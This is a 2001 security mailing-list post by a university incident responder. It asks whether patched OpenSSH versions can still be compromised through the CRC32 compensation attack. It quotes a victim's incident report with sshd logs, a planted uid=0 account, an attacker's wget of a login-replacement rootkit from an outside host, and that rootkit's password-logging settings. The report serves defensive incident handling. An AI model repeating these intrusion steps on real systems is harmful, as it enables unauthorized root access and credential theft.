Attacks against SSH?

From: johan.augustssonat_private
Date: Sun Dec 02 2001 - 23:30:23 PST

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    I stumbeled over this post at openssh-unix-dev mailinglist last week -
    http://marc.theaimsgroup.com/?l=openssh-unix-dev&m=100701808712180&w=2
    The poster claims that he had OpenSSH-2.9p2-8.7 (latest uppdate for
    RedHat 7.0) up and running when he received what looks to be a
    CRC32-attack. A few minutes later you can see (he posted parts of the
    logfile) a new user being created with uid=0 and then how an connection
    is made from system in Israel.
    
    There has been no confirmation about what he writes but I recieved the
    following mail as an answer of my questions.
    
    ------ Message ------
    I posted an openssh security alert earlier today and already got some
    responses.
    Thanks for everything.
    
    Instead of replying to everyone individually I composed the details of
    the
    attack.
    
    +++
    
    It does not look like a job of worms.
    Snort did not detect mass port scan from attacker's ip address. It seems
    that he (I assumed, so I don't have to type he/she all the way) just
    wants
    to gain access through openssh.
    
    The server is running Red Hat 7.0. With all packages up to date. The
    following daemons are running:  wu-ftpd, apache, telnet, openssh, named
    I never access the system via telnet, it is there just for backup
    purpose.
    
    > > Nov 25 11:37:40 ns sshd[10994]: Disconnecting: crc32 compensation
    attack:
    > > network attack detected
    > > Nov 25 11:37:48 ns sshd[11006]: Disconnecting: Corrupted check bytes on
    > > input.
    > > Nov 25 11:37:53 ns sshd[11013]: Disconnecting: Corrupted check bytes on
    > > input.
    > > Nov 25 11:37:54 ns sshd[11014]: Disconnecting: Corrupted check bytes on
    > > input.
    > > Nov 25 11:40:00 ns CROND[11022]: (root) CMD (   /sbin/rmmod -as)
    > > Nov 25 11:40:08 ns adduser[11023]: new group: name=mattanl, gid=528
    > > Nov 25 11:40:08 ns adduser[11023]: new user: name=mattanl, uid=528,
    gid=528,
    > > home=/home/mattanl, shell=/bin/bash
    > > Nov 25 11:40:27 ns adduser[11027]: new group: name=mattan, gid=529
    > > Nov 25 11:40:27 ns adduser[11027]: new user: name=mattan, uid=0,
    gid=529,
    > > home=/home/mattan, shell=/bin/bash
    
    After the attacker gained root access. He created two users mattan and
    mattanl.
    He then downloaded a package: wget
    http://home.dal.net/resolve/login.tgz.
    The target site has been compromised. (hacked by a hacker group in
    Israel)
    This is a login replacement package, it logs the user id and passwords.
    He
    modified rk.h to:
    #define MY_LOGFILE "/dev/ttypz"
    #define MY_PASSWORD "1245890"
    After he complied and installed the login replacement. Something went
    wrong.
    /bin/login was zero bytes in length. So when he came back using telnet,
    he
    was denied of access. I also disabled sshd and kept one session open for
    remote control after found login was replaced. I md5 checked the system
    against a good backup, nothing else was altered.
    
    I will try to sniff all packets come to my this server on ssh port. If
    he
    attempts to crack the server again, I will have more details. But I
    guess I
    will have to turn the server back on.
    
    Thanks for all you time
    ------ End of message ------
    
    I had some further questions so I mailed the guy once again but has not
    recieved any answer.
    
    So, to he main question.
    Has anyone else had a system compromised by the CRC32-attack when
    running a version of sshd that is believed to be secure? OpenSSH-2.3.0
    or later, SSH 1.2.32 or later.
    
    
    
    /Johan Augustsson
    
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    Johan Augustsson                 Phone: +46 (0)31 773 1000
    Incident Response Team           Fax: +46 (0)31 773 1087
    Göteborg University              E-mail: Johan.Augustssonat_private
    Sweden
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